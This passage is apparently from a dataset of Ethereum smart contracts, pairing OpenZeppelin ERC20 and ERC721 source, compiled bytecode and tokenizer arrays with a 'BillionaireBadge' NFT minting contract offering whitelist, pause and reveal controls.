be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190611015565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610ffa565b60405180910390f35b610104610326565b6040516101119190611117565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610ffa565b60405180910390f35b610152610431565b60405161015f9190611132565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610ffa565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190611117565b60405180910390f35b6101d061052e565b6040516101dd9190611015565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610ffa565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610ffa565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190611117565b60405180910390f35b6060600380546102859061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061127b565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90611097565b60405180910390fd5b61042585610414610759565b858461042091906111bf565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190611169565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d9061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546105699061127b565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610683906110f7565b60405180910390fd5b6106a9610697610759565b8585846106a491906111bf565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906110d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890611057565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190611117565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906110b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390611037565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490611077565b60405180910390fd5b8181610aa991906111bf565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190611169565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190611117565b60405180910390a350505050565b505050565b600081359050610bbf8161131c565b92915050565b600081359050610bd481611333565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611205565b82525050565b6000610ce48261114d565b610cee8185611158565b9350610cfe818560208601611248565b610d078161130b565b840191505092915050565b6000610d1f602383611158565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d85602283611158565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610deb602683611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e51602883611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610eb7602583611158565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f1d602483611158565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f83602583611158565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fe581611231565b82525050565b610ff48161123b565b82525050565b600060208201905061100f6000830184610cca565b92915050565b6000602082019050818103600083015261102f8184610cd9565b905092915050565b6000602082019050818103600083015261105081610d12565b9050919050565b6000602082019050818103600083015261107081610d78565b9050919050565b6000602082019050818103600083015261109081610dde565b9050919050565b600060208201905081810360008301526110b081610e44565b9050919050565b600060208201905081810360008301526110d081610eaa565b9050919050565b600060208201905081810360008301526110f081610f10565b9050919050565b6000602082019050818103600083015261111081610f76565b9050919050565b600060208201905061112c6000830184610fdc565b92915050565b60006020820190506111476000830184610feb565b92915050565b600081519050919050565b600082825260208201905092915050565b600061117482611231565b915061117f83611231565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111b4576111b36112ad565b5b828201905092915050565b60006111ca82611231565b91506111d583611231565b9250828210156111e8576111e76112ad565b5b828203905092915050565b60006111fe82611211565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561126657808201518184015260208101905061124b565b83811115611275576000848401525b50505050565b6000600282049050600182168061129357607f821691505b602082108114156112a7576112a66112dc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611325816111f3565b811461133057600080fd5b50565b61133c81611231565b811461134757600080fd5b5056fea264697066735822122081e37bcbb3936ec160307c26d652479e1538404ad8270c4285a9a1e4e2c2005564736f6c63430008000033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2509, 2063, 2620, 27717, 21619, 2063, 2683, 16576, 5732, 3207, 2278, 2683, 2546, 21472, 28756, 2575, 25031, 22610, 29292, 27717, 2549, 2497, 22025, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2570, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 3206, 27788, 2003, 9413, 2278, 11387, 1063, 9570, 2953, 1006, 1007, 9413, 2278, 11387, 1006, 1000, 27788, 1000, 1010, 1000, 27788, 1000, 1007, 1063, 1035, 12927, 1006, 5796, 2290, 1012, 4604, 2121, 1010, 6694, 8889, 8889, 8889, 1008, 1006, 2184, 1008, 1008, 21318, 3372, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,119
0x963f4473Cb56f66074aF65F5448170CA84b989BF
// SPDX-License-Identifier: MIT pragma solidity >=0.8.9 <0.9.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract BillionaireBadge is ERC721, Ownable, ReentrancyGuard { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; bytes32 public merkleRoot; mapping(address => bool) public whitelistClaimed; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost; uint256 public maxSupply; uint256 public maxMintAmountPerTx; bool public paused = true; bool public whitelistMintEnabled = false; bool public revealed = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _cost, uint256 _maxSupply, uint256 _maxMintAmountPerTx, string memory _hiddenMetadataUri ) ERC721(_tokenName, _tokenSymbol) { cost = _cost; maxSupply = _maxSupply; maxMintAmountPerTx = _maxMintAmountPerTx; setHiddenMetadataUri(_hiddenMetadataUri); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } modifier mintPriceCompliance(uint256 _mintAmount) { require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { // Verify whitelist requirements require(whitelistMintEnabled, "The whitelist sale is not enabled!"); require(!whitelistClaimed[msg.sender], "Address already claimed!"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid proof!"); whitelistClaimed[msg.sender] = true; _mintLoop(msg.sender, _mintAmount); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { require(!paused, "The contract is paused!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner { merkleRoot = _merkleRoot; } function setWhitelistMintEnabled(bool _state) public onlyOwner { whitelistMintEnabled = _state; } function withdraw() public onlyOwner nonReentrant { // ============================================================================= //(bool hs, ) = payable().call{value: address(this).balance * 5 / 100}(""); //require(hs); // ============================================================================= // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal 